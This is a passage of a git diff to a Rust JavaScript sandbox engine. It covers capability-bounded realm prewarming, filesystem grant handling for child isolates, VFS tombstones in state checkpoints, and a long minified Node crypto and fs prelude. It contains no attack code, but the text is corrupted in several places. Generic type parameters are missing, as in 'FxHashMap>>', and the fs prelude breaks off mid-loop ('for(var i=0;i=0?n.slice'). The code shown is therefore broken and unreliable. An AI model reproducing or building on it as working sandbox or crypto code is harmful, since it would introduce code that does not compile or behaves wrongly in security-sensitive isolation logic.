`boa_engine::Context` realm in `BOA_CONTEXT_POOL` and pre-populates its - /// Persistent Realm Module Cache (`globalThis.__slice_rc`) for `bytecode`, so subsequent - /// warm isolate executions skip `100%` of JS lexing/parsing and `node_modules` CJS evaluation. + /// Pre-warms a `boa_engine::Context` realm in `BOA_CONTEXT_POOL` under strict zero-authority + /// (`CapabilityToken::pure_compute()`) containment and pre-populates its Persistent Realm Module + /// Cache (`globalThis.__slice_rc`) for `bytecode`. pub fn prewarm_boa_bundle(bytecode: &[u8]) { + Self::prewarm_boa_bundle_with_caps(bytecode, &CapabilityToken::pure_compute()); + } + + /// Pre-warms a `boa_engine::Context` realm in `BOA_CONTEXT_POOL` bounded by `caps` so top-level + /// module initialization obeys the exact same OCap permissions as subsequent executions. + pub fn prewarm_boa_bundle_with_caps(bytecode: &[u8], caps: &CapabilityToken) { if let Some((hdr, precompiled_slice, fallback_js)) = crate::boacas::BoaCasHeader::decode(bytecode) { @@ -78,6 +157,10 @@ impl SliceIsolate { &mut realm.ctx, ); } + let pw_flags = setup_prewarm_caps(caps); + if pw_flags.2 { + call_realm_ctl(&mut realm, REALM_CTL_SYNC_ENV, true); + } let total_end = crate::boacas::BOACAS_HEADER_LEN + (hdr.precompiled_len as usize) + (hdr.fallback_js_len as usize); @@ -93,19 +176,7 @@ impl SliceIsolate { is_cold_bare_realm, ); let _ = realm.ctx.run_jobs(); - clear_event_loop_state(); - crate::websocket::clear_thread_websocket_state(); - crate::sockets::clear_thread_socket_state(); - crate::workers::clear_thread_worker_state(); - CHECKPOINT_SLAB.with(|s| s.borrow_mut().clear()); - BOA_CHECKPOINT_STATS.with(|s| s.set((0, 0, 0))); - BOA_DIRTY_SUBSYSTEMS.with(|d| d.set(0)); - if BOA_WAIT_UNTIL_COUNT.with(|c| c.get()) > 0 { - call_realm_ctl(&mut realm, REALM_CTL_RESET_WU, false); - } - BOA_STDOUT.with(|out| out.borrow_mut().clear()); - BOA_HTTP_RES.with(|res| *res.borrow_mut() = None); - BOA_WAIT_UNTIL_COUNT.with(|c| c.set(0)); + scrub_after_prewarm(&mut realm, pw_flags); } release_warm_boa_realm(realm); return; @@ -148,6 +219,10 @@ impl SliceIsolate { detect_needed_shards(js_code, false), needs_lazy_global_getters(js_code), ); + let pw_flags = setup_prewarm_caps(caps); + if pw_flags.2 { + call_realm_ctl(&mut realm, REALM_CTL_SYNC_ENV, true); + } let _ = realm .ctx .eval(boa_engine::Source::from_bytes(js_code.as_bytes())); @@ -168,19 +243,7 @@ impl SliceIsolate { } } let _ = realm.ctx.run_jobs(); - clear_event_loop_state(); - crate::websocket::clear_thread_websocket_state(); - crate::sockets::clear_thread_socket_state(); - crate::workers::clear_thread_worker_state(); - CHECKPOINT_SLAB.with(|s| s.borrow_mut().clear()); - BOA_CHECKPOINT_STATS.with(|s| s.set((0, 0, 0))); - BOA_DIRTY_SUBSYSTEMS.with(|d| d.set(0)); - if BOA_WAIT_UNTIL_COUNT.with(|c| c.get()) > 0 { - call_realm_ctl(&mut realm, REALM_CTL_RESET_WU, false); - } - BOA_STDOUT.with(|out| out.borrow_mut().clear()); - BOA_HTTP_RES.with(|res| *res.borrow_mut() = None); - BOA_WAIT_UNTIL_COUNT.with(|c| c.set(0)); + scrub_after_prewarm(&mut realm, pw_flags); } release_warm_boa_realm(realm); } @@ -249,7 +312,7 @@ impl SliceIsolate { BOA_DET_STATE.with(|s| s.set(Some((seed ^ 0x9E37_79B9_7F4A_7C15, 1_700_000_000_000)))); } - let has_fs_restrictions = !self + let has_fs_grants = !self .compartment .capabilities .allowed_read_prefixes @@ -259,30 +322,15 @@ impl SliceIsolate { .capabilities .allowed_write_prefixes .is_empty(); - if has_fs_restrictions { - let read_prefs = if self - .compartment - .capabilities - .allowed_read_prefixes - .is_empty() - { - vec!["/__slice_denied__".to_string()] - } else { - self.compartment.capabilities.allowed_read_prefixes.clone() - }; - let write_prefs = if self - .compartment - .capabilities - .allowed_write_prefixes - .is_empty() - { - vec!["/__slice_denied__".to_string()] - } else { - self.compartment.capabilities.allowed_write_prefixes.clone() - }; + if has_fs_grants { BOA_ACTIVE_CAPS.with(|c| { - *c.borrow_mut() = - Some((self.compartment.tenant_id.clone(), read_prefs, write_prefs)); + let mut caps = c.borrow_mut(); + caps.read_prefixes.clear(); + caps.read_prefixes + .extend_from_slice(&self.compartment.capabilities.allowed_read_prefixes); + caps.write_prefixes.clear(); + caps.write_prefixes + .extend_from_slice(&self.compartment.capabilities.allowed_write_prefixes); }); } let has_net_hosts = !self.compartment.capabilities.allowed_net_hosts.is_empty(); @@ -315,7 +363,7 @@ impl SliceIsolate { } BoaSessionFlags { - has_fs_restrictions, + has_fs_grants, has_net_hosts, has_egress_secrets, has_env_keys, @@ -349,8 +397,12 @@ impl SliceIsolate { call_realm_ctl(realm, REALM_CTL_SET_DET_MODE, false); BOA_DET_STATE.with(|s| s.set(None)); } - if flags.has_fs_restrictions { - BOA_ACTIVE_CAPS.with(|c| *c.borrow_mut() = None); + if flags.has_fs_grants { + BOA_ACTIVE_CAPS.with(|c| { + let mut caps = c.borrow_mut(); + caps.read_prefixes.clear(); + caps.write_prefixes.clear(); + }); } if flags.has_net_hosts { BOA_NET_HOSTS.with(|h| h.borrow_mut().clear()); diff --git a/crates/slice-engine/src/isolate/kv_and_sandbox.rs b/crates/slice-engine/src/isolate/kv_and_sandbox.rs index 199e1d3..29b16d1 100644 --- a/crates/slice-engine/src/isolate/kv_and_sandbox.rs +++ b/crates/slice-engine/src/isolate/kv_and_sandbox.rs @@ -142,9 +142,10 @@ impl SliceIsolate { let parent_reads = &self.compartment.capabilities.allowed_read_prefixes; if !opts.allow_read.is_empty() { for req_prefix in &opts.allow_read { - if parent_reads - .iter() - .any(|p| slice_sandbox::vfs_prefix_matches(req_prefix, p)) + if !slice_sandbox::is_rejected_vfs_candidate(req_prefix) + && parent_reads + .iter() + .any(|p| slice_sandbox::vfs_prefix_matches(req_prefix, p)) { child_caps = child_caps.with_read_prefix(req_prefix.clone()); } @@ -154,16 +155,14 @@ impl SliceIsolate { child_caps = child_caps.with_read_prefix(p.clone()); } } - if child_caps.allowed_read_prefixes.is_empty() { - child_caps = child_caps.with_read_prefix("/__slice_denied__"); - } let parent_writes = &self.compartment.capabilities.allowed_write_prefixes; if !opts.allow_write.is_empty() { for req_prefix in &opts.allow_write { - if parent_writes - .iter() - .any(|p| slice_sandbox::vfs_prefix_matches(req_prefix, p)) + if !slice_sandbox::is_rejected_vfs_candidate(req_prefix) + && parent_writes + .iter() + .any(|p| slice_sandbox::vfs_prefix_matches(req_prefix, p)) { child_caps = child_caps.with_write_prefix(req_prefix.clone()); } @@ -173,9 +172,6 @@ impl SliceIsolate { child_caps = child_caps.with_write_prefix(p.clone()); } } - if child_caps.allowed_write_prefixes.is_empty() { - child_caps = child_caps.with_write_prefix("/__slice_denied__"); - } let parent_nets = &self.compartment.capabilities.allowed_net_hosts; if !opts.allow_net.is_empty() { diff --git a/crates/slice-engine/src/isolate/state_and_kv.rs b/crates/slice-engine/src/isolate/state_and_kv.rs index 32bf936..22123d4 100644 --- a/crates/slice-engine/src/isolate/state_and_kv.rs +++ b/crates/slice-engine/src/isolate/state_and_kv.rs @@ -1,7 +1,9 @@ //! Sharded Edge KV Slab (`Slice.kv`), Sub-5us State Checkpoints (`Slice.checkpoint`/`Slice.restore`), //! Deterministic SplitMix64 PRNG Re-export, and Outbound Egress Secret DLP Guard. -use crate::boa_realm::{BOA_VFS_CACHE, BOA_VFS_DIRS, CHECKPOINT_SLAB, NEXT_CHECKPOINT_ID}; +use crate::boa_realm::{ + BOA_VFS_CACHE, BOA_VFS_DIRS, BOA_VFS_TOMBSTONES, CHECKPOINT_SLAB, NEXT_CHECKPOINT_ID, +}; pub(crate) use crate::intrinsics::splitmix64_next_f64; use compact_str::CompactString; use rustc_hash::{FxHashMap, FxHashSet}; @@ -16,6 +18,7 @@ pub(crate) struct StateCheckpoint { pub(crate) owner_tenant: CompactString, pub(crate) vfs_files: FxHashMap>>, pub(crate) vfs_dirs: FxHashSet, + pub(crate) vfs_tombstones: FxHashSet, pub(crate) tenant_kv: [Option; 16], } @@ -28,6 +31,14 @@ pub(crate) fn checkpoint_tenant_state(tenant_id: &str) -> u64 { }; let vfs_files = BOA_VFS_CACHE.with(|c| c.borrow().clone()); let vfs_dirs = BOA_VFS_DIRS.with(|d| d.borrow().clone()); + let vfs_tombstones = BOA_VFS_TOMBSTONES.with(|t| { + let b = t.borrow(); + if b.is_empty() { + FxHashSet::default() + } else { + b.clone() + } + }); let mut tenant_kv: [Option; 16] = std::array::from_fn(|_| None); let mut kv_keys_count = 0usize; if let Some(shards) = EDGE_KV_SLAB.get() { @@ -68,6 +79,7 @@ pub(crate) fn checkpoint_tenant_state(tenant_id: &str) -> u64 { owner_tenant: CompactString::new(tenant_id), vfs_files, vfs_dirs, + vfs_tombstones, tenant_kv, }, ); @@ -108,6 +120,7 @@ pub(crate) fn restore_tenant_state(tenant_id: &str, checkpoint_id: u64) -> bool let vfs_files_count = snap.vfs_files.len(); BOA_VFS_CACHE.with(|c| *c.borrow_mut() = snap.vfs_files); BOA_VFS_DIRS.with(|d| *d.borrow_mut() = snap.vfs_dirs); + BOA_VFS_TOMBSTONES.with(|t| *t.borrow_mut() = snap.vfs_tombstones); let shards = EDGE_KV_SLAB .get_or_init(|| std::array::from_fn(|_| parking_lot::RwLock::new(FxHashMap::default()))); for (idx, shard_snap) in snap.tenant_kv.into_iter().enumerate() { diff --git a/crates/slice-engine/src/preludes/node_builtins.rs b/crates/slice-engine/src/preludes/node_builtins.rs index 80bd21b..31ecfcb 100644 --- a/crates/slice-engine/src/preludes/node_builtins.rs +++ b/crates/slice-engine/src/preludes/node_builtins.rs @@ -10,7 +10,7 @@ use std::sync::{Arc, OnceLock}; const BUILTIN_CRYPTO_SNIPPET: &[u8] = br#"(function(){var __U8=globalThis.Uint8Array,__ext=false;function __ensExt(){if(!__ext){__ext=true;__slice_init_crypto_ext();}}function __toBytes(d,enc){if(d instanceof __U8)return d;if(d instanceof ArrayBuffer)return new __U8(d);if(d&&d.buffer instanceof ArrayBuffer)return new __U8(d.buffer,d.byteOffset||0,d.byteLength);__slice_ensure_shard(5);return Buffer.from(String(d),enc||"utf8");}function __catBytes(chunks){if(chunks.length===0)return new __U8(0);if(chunks.length===1)return chunks[0];__slice_ensure_shard(5);return Buffer.concat(chunks);}function __encOut(rawBuf,enc){__slice_ensure_shard(5);var b=Buffer.isBuffer(rawBuf)?rawBuf:Buffer.from(rawBuf);return(!enc||enc==="buffer")?b:b.toString(enc);}function KeyObject(type,alg,crv,id,raw,meta,details){this.type=type;this.asymmetricKeyType=alg;this.asymmetricKeyDetails=details||(crv?{namedCurve:crv}:{});this._id=id||0;this._raw=raw||null;this._meta=meta||null;}KeyObject.prototype.export=function(opts){__ensExt();__slice_ensure_shard(5);var o=opts||{};var fmt=String(o.format||"der").toLowerCase();if(this.type==="secret")return Buffer.from(this._raw);var derB64=(this.type==="private")?(this._meta&&this._meta.pkcs8):(this._meta&&this._meta.spki);var der=derB64?Buffer.from(__slice_base64_decode_bytes(derB64)):Buffer.from(this._raw||[]);if(fmt==="pem"){var label=this.type==="private"?"PRIVATE KEY":"PUBLIC KEY";return"-----BEGIN "+label+"-----\n"+der.toString("base64")+"\n-----END "+label+"-----\n";}if(fmt==="jwk"&&this._meta){if(this.asymmetricKeyType==="ed25519"||this.asymmetricKeyType==="x25519"){var j={kty:"OKP",crv:this.asymmetricKeyType==="x25519"?"X25519":"Ed25519",x:this._meta.x};if(this.type==="private")j.d=this._meta.d;return j;}var je={kty:"EC",crv:this._meta.crv||"P-256",x:this._meta.x,y:this._meta.y};if(this.type==="private")je.d=this._meta.d;return je;}return der;};function __importDerKey(der,fmt){try{var impEd=JSON.parse(__slice_crypto_asym_import("Ed25519","",fmt,der));return new KeyObject(impEd.type,"ed25519",undefined,impEd.id,der,impEd);}catch(_e1){try{var impX=JSON.parse(__slice_crypto_asym_import("X25519","",fmt,der));return new KeyObject(impX.type,"x25519",undefined,impX.id,der,impX);}catch(_eX){try{var impRsa=JSON.parse(__slice_crypto_asym_import("RSA","",fmt,der));return new KeyObject(impRsa.type,"rsa",undefined,impRsa.id,der,impRsa,{modulusLength:2048,publicExponent:65537n});}catch(_eR){try{var impEc256=JSON.parse(__slice_crypto_asym_import("ECDSA","P-256",fmt,der));return new KeyObject(impEc256.type,"ec","P-256",impEc256.id,der,impEc256);}catch(_e2){var impEc384=JSON.parse(__slice_crypto_asym_import("ECDSA","P-384",fmt,der));return new KeyObject(impEc384.type,"ec","P-384",impEc384.id,der,impEc384);}}}}}function __parseKeyObj(k,isPriv){__ensExt();if(k instanceof KeyObject)return k;if(k&&typeof k==="object"&&k._id!==undefined&&k.algorithm){var kn=String(k.algorithm.name||"").toLowerCase();return new KeyObject(k.type,kn==="ecdsa"?"ec":kn,k.algorithm.namedCurve,k._id,k._raw,k._meta);}if(k&&typeof k==="object"&&k.key!==undefined)return __parseKeyObj(k.key,isPriv);var fmt=isPriv?"pkcs8":"spki";if(typeof k==="string"&&k.indexOf("-----BEGIN")!==-1){var body=k.replace(/-----BEGIN [^-]+-----/g,"").replace(/-----END [^-]+-----/g,"").replace(/\s+/g,"");var der=__slice_base64_decode_bytes(body);return __importDerKey(der,fmt);}return __importDerKey(__toBytes(k),fmt);}function __mkHash(a,isSha256,initChunks,initFast,initSBuf){var chunks=initChunks?initChunks.slice():[],strFast=initFast!==undefined?initFast:isSha256,sBuf=initSBuf||"";return{update:function(d,enc){if(strFast&&typeof d==="string"&&(!enc||enc==="utf8"||enc==="utf-8")&&chunks.length===0){sBuf+=d;}else{if(sBuf.length>0){__slice_ensure_shard(5);chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}strFast=false;chunks.push(__toBytes(d,enc));}return this;},copy:function(){return __mkHash(a,isSha256,chunks,strFast,sBuf);},digest:function(enc){if(isSha256&&(enc==="hex"||enc==="base64"||enc==="base64url")){if(strFast&&chunks.length===0){var h=__slice_crypto_sha256(sBuf,enc);sBuf="";return h;}if(sBuf.length===0&&chunks.length===1){var hb=__slice_crypto_sha256(chunks[0],enc);chunks=[];return hb;}}__ensExt();__slice_ensure_shard(5);if(sBuf.length>0){chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}var raw=Buffer.from(__slice_crypto_digest_bytes(a,__catBytes(chunks)));chunks=[];return(!enc||enc==="buffer")?raw:raw.toString(enc);}};}function __mkHmac(a,isSha256,key,initChunks,initFast,initSBuf){var kBytes=null,chunks=initChunks?initChunks.slice():[],strFast=initFast!==undefined?initFast:(isSha256&&typeof key==="string"),kStr=typeof key==="string"?key:"",sBuf=initSBuf||"";return{update:function(d,enc){if(strFast&&typeof d==="string"&&(!enc||enc==="utf8"||enc==="utf-8")&&chunks.length===0){sBuf+=d;}else{if(sBuf.length>0){__slice_ensure_shard(5);chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}strFast=false;chunks.push(__toBytes(d,enc));}return this;},copy:function(){return __mkHmac(a,isSha256,key,chunks,strFast,sBuf);},digest:function(enc){if(isSha256&&(enc==="hex"||enc==="base64"||enc==="base64url")){if(strFast&&chunks.length===0){var h=__slice_crypto_hmac_sha256(kStr,sBuf,enc);sBuf="";return h;}if(sBuf.length===0&&chunks.length===1){if(!kBytes)kBytes=(typeof key==="string")?key:__toBytes(key);var hb=__slice_crypto_hmac_sha256(kBytes,chunks[0],enc);chunks=[];return hb;}}__ensExt();__slice_ensure_shard(5);if(sBuf.length>0){chunks.push(Buffer.from(sBuf,"utf8"));sBuf="";}if(!kBytes)kBytes=__toBytes(key);var raw=Buffer.from(__slice_crypto_hmac_bytes(a,kBytes,__catBytes(chunks)));chunks=[];return(!enc||enc==="buffer")?raw:raw.toString(enc);}};}var m={KeyObject:KeyObject,createHash:function(alg){var a=String(alg||"sha256").toLowerCase(),isSha256=(a==="sha256"||a==="sha-256");return __mkHash(a,isSha256);},createHmac:function(alg,key){var a=String(alg||"sha256").toLowerCase(),isSha256=(a==="sha256"||a==="sha-256");return __mkHmac(a,isSha256,key);},randomBytes:function(size,cb){__ensExt();__slice_ensure_shard(5);var b=Buffer.from(__slice_crypto_random_bytes(Number(size)||0));if(typeof cb==="function"){cb(null,b);return;}return b;},randomFillSync:function(buf,offset,size){__ensExt();if(!buf||typeof buf.byteLength!=="number")throw new TypeError("buf must be an ArrayBufferView");var off=offset!==undefined?Number(offset):0;var sz=size!==undefined?Number(size):(buf.byteLength-off);if(off<0||sz<0||off+sz>buf.byteLength)throw new RangeError("offset or size out of bounds");var u8=new __U8(buf.buffer||buf,(buf.byteOffset||0)+off,sz);var rnd=__slice_crypto_random_bytes(sz);u8.set(rnd);return buf;},randomFill:function(buf,offset,size,cb){if(typeof offset==="function"){cb=offset;offset=0;size=buf.byteLength;}else if(typeof size==="function"){cb=size;size=buf.byteLength-Number(offset||0);}try{var r=m.randomFillSync(buf,offset,size);if(typeof cb==="function")queueMicrotask(function(){cb(null,r);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},randomInt:function(min,max,cb){__ensExt();if(typeof max==="function"||max===undefined){cb=max;max=min;min=0;}var lo=Math.ceil(Number(min)),hi=Math.floor(Number(max));if(!(hi>lo))throw new RangeError("max must be greater than min");var range=hi-lo,rb=__slice_crypto_random_bytes(4),u=((rb[0]<<24)>>>0)+((rb[1]<<16)>>>0)+((rb[2]<<8)>>>0)+(rb[3]>>>0);var val=lo+(u%range);if(typeof cb==="function"){queueMicrotask(function(){cb(null,val);});return;}return val;},randomUUID:function(){__ensExt();return __slice_crypto_random_uuid();},getRandomValues:function(ta){__ensExt();return __slice_crypto_get_random_values(ta);},timingSafeEqual:function(a,b){__ensExt();return __slice_crypto_timing_safe_equal(a,b);},pbkdf2Sync:function(password,salt,iterations,keylen,digest){__ensExt();__slice_ensure_shard(5);var ab=__slice_crypto_kdf("PBKDF2",String(digest||"sha256"),__toBytes(password),__toBytes(salt),null,Number(iterations),Number(keylen));return Buffer.from(ab);},pbkdf2:function(password,salt,iterations,keylen,digest,cb){if(typeof digest==="function"){cb=digest;digest="sha1";}try{var b=m.pbkdf2Sync(password,salt,iterations,keylen,digest);if(typeof cb==="function")queueMicrotask(function(){cb(null,b);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},hkdfSync:function(digest,ikm,salt,info,keylen){__ensExt();var ab=__slice_crypto_kdf("HKDF",String(digest||"sha256"),__toBytes(ikm),__toBytes(salt),__toBytes(info),1,Number(keylen));return ab;},hkdf:function(digest,ikm,salt,info,keylen,cb){try{var ab=m.hkdfSync(digest,ikm,salt,info,keylen);if(typeof cb==="function")queueMicrotask(function(){cb(null,ab);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},scryptSync:function(password,salt,keylen,options){__ensExt();__slice_ensure_shard(5);var o=options||{};var N=Number(o.N||o.cost||16384),r=Number(o.r||o.blockSize||8),p=Number(o.p||o.parallelization||1),maxmem=Number(o.maxmem||(32*1024*1024));var ab=__slice_crypto_kdf("SCRYPT","SHA-256",__toBytes(password),__toBytes(salt),null,N,Number(keylen),r,p,maxmem);return Buffer.from(ab);},scrypt:function(password,salt,keylen,options,cb){if(typeof options==="function"){cb=options;options={};}try{var b=m.scryptSync(password,salt,keylen,options);if(typeof cb==="function")queueMicrotask(function(){cb(null,b);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},createCipheriv:function(algorithm,key,iv,options){__ensExt();__slice_ensure_shard(5);var alg=String(algorithm||"").toLowerCase(),isGcm=alg.indexOf("gcm")!==-1,kB=__toBytes(key),ivB=__toBytes(iv),aadB=null,chunks=[],tagBuf=null,autoPad=true,tagLen=(options&&options.authTagLength)?Number(options.authTagLength)*8:128;var hid=__slice_crypto_key_register(isGcm?"AES-GCM":"AES-CBC","",kB);return{setAAD:function(buf){aadB=__toBytes(buf);return this;},setAutoPadding:function(ap){autoPad=(ap===undefined)?true:Boolean(ap);return this;},update:function(data,inEnc,outEnc){chunks.push(__toBytes(data,inEnc));return __encOut(new __U8(0),outEnc);},final:function(outEnc){var plain=__catBytes(chunks);chunks=[];var ab=__slice_crypto_cipher(isGcm?"AES-GCM":"AES-CBC",true,hid,kB,ivB,aadB,tagLen,plain,autoPad);var full=new __U8(ab);if(isGcm){var tBytes=tagLen/8;var cLen=full.byteLength-tBytes;tagBuf=Buffer.from(full.subarray(cLen));return __encOut(full.subarray(0,cLen),outEnc);}return __encOut(full,outEnc);},getAuthTag:function(){if(!isGcm||!tagBuf)throw new Error("ERR_CRYPTO_INVALID_STATE: getAuthTag requires finalized GCM cipher");return tagBuf;}};},createDecipheriv:function(algorithm,key,iv,options){__ensExt();__slice_ensure_shard(5);var alg=String(algorithm||"").toLowerCase(),isGcm=alg.indexOf("gcm")!==-1,kB=__toBytes(key),ivB=__toBytes(iv),aadB=null,chunks=[],authTag=null,autoPad=true,tagLen=(options&&options.authTagLength)?Number(options.authTagLength)*8:128;var hid=__slice_crypto_key_register(isGcm?"AES-GCM":"AES-CBC","",kB);return{setAAD:function(buf){aadB=__toBytes(buf);return this;},setAuthTag:function(buf,enc){authTag=__toBytes(buf,enc);return this;},setAutoPadding:function(ap){autoPad=(ap===undefined)?true:Boolean(ap);return this;},update:function(data,inEnc,outEnc){chunks.push(__toBytes(data,inEnc));return __encOut(new __U8(0),outEnc);},final:function(outEnc){var ciph=__catBytes(chunks);chunks=[];if(isGcm){if(!authTag)throw new Error("ERR_CRYPTO_INVALID_STATE: Unsupported state or unable to authenticate data (missing authTag)");var combined=new __U8(ciph.byteLength+authTag.byteLength);combined.set(ciph,0);combined.set(authTag,ciph.byteLength);var ab=__slice_crypto_cipher("AES-GCM",false,hid,kB,ivB,aadB,tagLen,combined,true);return __encOut(new __U8(ab),outEnc);}var abC=__slice_crypto_cipher("AES-CBC",false,hid,kB,ivB,null,128,ciph,autoPad);return __encOut(new __U8(abC),outEnc);}};},generateKeyPairSync:function(type,options){__ensExt();__slice_ensure_shard(5);var t=typeof type==="string"?type.toLowerCase():"";if(t!=="ed25519"&&t!=="x25519"&&t!=="ec"&&t!=="rsa"&&t!=="rsa-pss"&&t!=="dsa"){var eType=new TypeError("The argument 'type' must be a supported key type. Received '"+String(type)+"'");eType.code="ERR_INVALID_ARG_VALUE";throw eType;}var o=options||{};var info,details=undefined;if(t==="ed25519"){info=JSON.parse(__slice_crypto_asym_keygen("Ed25519",""));}else if(t==="x25519"){info=JSON.parse(__slice_crypto_asym_keygen("X25519",""));}else if(t==="rsa"||t==="rsa-pss"){info=JSON.parse(__slice_crypto_asym_keygen("RSA",""));details={modulusLength:Number(o.modulusLength)||2048,publicExponent:BigInt(o.publicExponent||65537)};}else if(t==="dsa"){info=JSON.parse(__slice_crypto_asym_keygen("ECDSA","P-256"));details={modulusLength:Number(o.modulusLength)||2048,divisorLength:Number(o.divisorLength)||256};}else{info=JSON.parse(__slice_crypto_asym_keygen("ECDSA",String(o.namedCurve||"P-256")));}var crv=(t==="ec")?(info.crv||"P-256"):undefined;var pubKO=new KeyObject("public",t,crv,info.pubId,__slice_base64_decode_bytes(info.spki),info,details);var privKO=new KeyObject("private",t,crv,info.privId,__slice_base64_decode_bytes(info.pkcs8),info,details);var pubOut=o.publicKeyEncoding?pubKO.export(o.publicKeyEncoding):pubKO;var privOut=o.privateKeyEncoding?privKO.export(o.privateKeyEncoding):privKO;return{publicKey:pubOut,privateKey:privOut};},generateKeyPair:function(type,options,cb){if(typeof options==="function"){cb=options;options={};}try{var kp=m.generateKeyPairSync(type,options);if(typeof cb==="function")queueMicrotask(function(){cb(null,kp.publicKey,kp.privateKey);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},createPrivateKey:function(k){return __parseKeyObj(k,true);},createPublicKey:function(k){return __parseKeyObj(k,false);},createSecretKey:function(k,enc){__slice_ensure_shard(5);var b=__toBytes(k,enc);return new KeyObject("secret","secret",undefined,0,b,null);},sign:function(alg,data,key,cb){__ensExt();__slice_ensure_shard(5);try{var ko=__parseKeyObj(key,true);var dsaEnc=(key&&typeof key==="object"&&key.dsaEncoding)?String(key.dsaEncoding):"der";var hostAlg=ko.asymmetricKeyType==="ed25519"?"Ed25519":((ko.asymmetricKeyType==="rsa"||ko.asymmetricKeyType==="rsa-pss")?"RSA":"ECDSA");var ab=__slice_crypto_asym_sign(hostAlg,ko.asymmetricKeyDetails.namedCurve||"P-256",ko._id,ko._raw,__toBytes(data),dsaEnc!=="ieee-p1363");var b=Buffer.from(ab);if(typeof cb==="function"){queueMicrotask(function(){cb(null,b);});return;}return b;}catch(e){if(typeof cb==="function"){queueMicrotask(function(){cb(e);});return;}throw e;}},verify:function(alg,data,key,sig,cb){__ensExt();try{var ko=__parseKeyObj(key,false);var hostAlg=ko.asymmetricKeyType==="ed25519"?"Ed25519":((ko.asymmetricKeyType==="rsa"||ko.asymmetricKeyType==="rsa-pss")?"RSA":"ECDSA");var ok=Boolean(__slice_crypto_asym_verify(hostAlg,ko.asymmetricKeyDetails.namedCurve||"P-256",ko._id,ko._raw,__toBytes(sig),__toBytes(data)));if(typeof cb==="function"){queueMicrotask(function(){cb(null,ok);});return;}return ok;}catch(e){if(typeof cb==="function"){queueMicrotask(function(){cb(e);});return;}throw e;}},createSign:function(_alg){var chunks=[];return{update:function(d,enc){chunks.push(__toBytes(d,enc));return this;},sign:function(key,outEnc){var sig=m.sign(null,__catBytes(chunks),key);chunks=[];return(!outEnc||outEnc==="buffer")?sig:sig.toString(outEnc);}};},createVerify:function(_alg){var chunks=[];return{update:function(d,enc){chunks.push(__toBytes(d,enc));return this;},verify:function(key,sig,sigEnc){var sB=typeof sig==="string"?__toBytes(sig,sigEnc||"base64"):__toBytes(sig);var ok=m.verify(null,__catBytes(chunks),key,sB);chunks=[];return ok;}};},getHashes:function(){return["sha1","sha256","sha384","sha512","md5"];},getCiphers:function(){return["aes-128-gcm","aes-256-gcm","aes-128-cbc","aes-256-cbc"];},get subtle(){__slice_ensure_shard(4);return globalThis.crypto.subtle;},get webcrypto(){__slice_ensure_shard(4);return globalThis.crypto;}};m.default=m;m.__esModule=true;return __slice_builtins["crypto"]=__slice_builtins["node:crypto"]=m;})();"#; -const BUILTIN_FS_SNIPPET: &[u8] = br#"(function(){var __watchers=[],__fds=Object.create(null),__nextFd=10;function __fsErr(code,syscall,p,dest){var map={ENOENT:[-2,"no such file or directory"],EEXIST:[-17,"file already exists"],EISDIR:[-21,"illegal operation on a directory"],ENOTDIR:[-20,"not a directory"],ENOTEMPTY:[-39,"directory not empty"],EBADF:[-9,"bad file descriptor"],EACCES:[-13,"permission denied"],EINVAL:[-22,"invalid argument"]},info=map[code]||[-1,"unknown error"],msg=code+": "+info[1]+", "+syscall+(p!==undefined?" '"+p+"'":"")+(dest!==undefined?" -> '"+dest+"'":""),e=new Error(msg);e.code=code;e.errno=info[0];e.syscall=syscall;if(p!==undefined)e.path=String(p);if(dest!==undefined)e.dest=String(dest);return e;}function __getFd(fd,syscall){var e=__fds[Number(fd)];if(!e)throw __fsErr("EBADF",syscall);return e;}function __normW(p){return String(p||"").replace(/\\/g,"/").replace(/\/+$/,"")||"/";}function __notifyWatch(rawP,evType){if(__watchers.length===0)return;var np=__normW(rawP),sl=np.lastIndexOf("/"),dir=sl>0?np.slice(0,sl):"/",base=sl>=0?np.slice(sl+1):np;for(var i=0;i<__watchers.length;i++){var w=__watchers[i];if(w._closed)continue;var wp=w._path;if(np===wp||dir===wp||(w._rec&&np.indexOf(wp+"/")===0)){var rel=(np===wp)?base:(np.slice(wp.length+1)||base);w._emit(evType,rel);}}}function __fsData(d){if(typeof d==="string")return d;if(d instanceof Uint8Array)return d;if(d instanceof ArrayBuffer)return new Uint8Array(d);if(d&&d.buffer instanceof ArrayBuffer)return new Uint8Array(d.buffer,d.byteOffset||0,d.byteLength);return String(d);}function __toMs(t){if(t instanceof Date)return t.getTime();var n=Number(t);if(!Number.isFinite(n))return Date.now();return n<1e11?n*1000:n;}function __mkStats(sp,followSym,opts){var isSym=Boolean(__slice_fs_is_symlink_sync(sp)),sz=__slice_fs_stat_sync(sp);if(sz<0&&!(!followSym&&isSym)){if(opts&&typeof opts==="object"&&opts.throwIfNoEntry===false)return undefined;throw __fsErr("ENOENT",followSym?"stat":"lstat",sp);}if(sz<0)sz=0;var mt=__slice_fs_mtime_sync(sp),isDir=(!followSym&&isSym)?false:Boolean(__slice_fs_is_dir_sync(sp)),d=new Date(mt),bi=Boolean(opts&&typeof opts==="object"&&opts.bigint),vSz=bi?BigInt(Math.floor(sz)):sz,vMt=bi?BigInt(Math.floor(mt)):mt,vMode=bi?BigInt((!followSym&&isSym)?41471:(isDir?16877:33188)):((!followSym&&isSym)?41471:(isDir?16877:33188));return{size:vSz,mtimeMs:vMt,ctimeMs:vMt,atimeMs:vMt,birthtimeMs:vMt,mtime:d,ctime:d,atime:d,birthtime:d,mode:vMode,isFile:function(){return(!followSym&&isSym)?false:!isDir;},isDirectory:function(){return(!followSym&&isSym)?false:isDir;},isSymbolicLink:function(){return !followSym&&isSym;},isBlockDevice:function(){return false;},isCharacterDevice:function(){return false;},isFIFO:function(){return false;},isSocket:function(){return false;}};}function __cbWrap(syncFn){return function(){var args=[],cb=null;for(var i=0;i=0?n.slice(sl+1):n,par=sl>=0?((base==="/"?"":base)+"/"+n.slice(0,sl)):base,isD=Boolean(__slice_fs_is_dir_sync(fp)),isS=Boolean(__slice_fs_is_symlink_sync(fp));return{name:bn,parentPath:par,path:par,isFile:function(){return !isD&&!isS;},isDirectory:function(){return 